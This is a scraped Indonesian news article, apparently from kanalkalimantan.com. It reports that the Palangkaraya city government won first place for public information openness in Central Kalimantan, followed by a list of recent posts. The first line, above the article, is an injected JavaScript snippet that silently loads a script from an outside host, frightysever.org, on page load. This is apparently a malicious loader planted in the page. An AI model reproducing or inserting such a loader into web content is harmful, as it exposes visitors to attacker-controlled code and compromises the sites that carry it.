(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Palangkaraya

Palangkaraya Raih Peringkat Satu Keterbukaan Informasi Publik Tingkat Provinsi Kalteng


KANALKALIMANTAN.COM, PALANGKARAYA– Pemko Palangkaraya meraih peringkat satu penghargaan menuju informatif kategori Pejabat Pengelola Informasi dan Dokumentasi (PPID) utama kabupaten/kota di Kalimantan Tengah.

Plakat penganugerahan keterbukaan informasi badan publik diberikan Sekda Kalteng Fahrizal Fitri kepada Wali Kota Palangkaraya, di Aula Eka Hapakat Kantor Gubernur, Senin (15/3/2021).

Usai kegiatan, Wali Kota Palangkaraya Fairid Naparin mengatakan, penghargaan itu akan semakin memperkuat komitmen dalam melaksanakan UU nomor 14 tahun 2008.

“Mudah-mudahan penghargaan ini dapat mewujudkan good governance di Pemko Palangkaraya,” ujar Fairid.

Penghargaan itu bukanlah hasil kerjanya sendiri, tetapi kerja sama seluruh jajaran Pemko Palangkaraya.

Ketua Komisi Informasi Kalteng Daan Rismon menjelaskan, rangkaian monitoring dan evaluasi sampai dengan penganugerahan keterbukaan informasi publik berdasarkan Peraturan Komisi Informasi No 5/2016 tentang metode dan teknik evaluasi keterbukaan informasi badan publik dan petunjuk teknik lainnya dari Komisi Informasi pusat.

Proses ini telah dimulai oleh Komisi Informasi Kalimantan Tengah sejak Juni hingga Desember 2020. Dengan mengikutsertakan 46 badan/dinas/perangkat daerah lainnya yang merupakan badan publik di lingkungan Pemprov Kalteng.

Kemudian 21 badan publik/lembaga vertikal, dan 14 PPID utama kabupaten/Kota yang mewakili badan publik kabupaten/kota di Kalimantan Tengah.

Sementara itu Sekda Kalteng Fahrizal Fitri mengatakan, penganugerahan bertujuan untuk mengevaluasi pelaksanaan dan kepatuhan badan publik dalam layanan keterbukaan informasi publik.

Selain itu mewujudkan hasil evaluasi pelaksanaan dan kepatuhan badan publik dalam layanan keterbukaan informasi publik yang sesuai dengan peraturan perundang-undangan yang berlaku. (kanalkalimantan.com/tri)

 

Reporter : Tri
Editor : Cell

 

 


Al Ghifari

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

11 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

14 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

14 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

16 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

18 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

19 jam ago

This website uses cookies.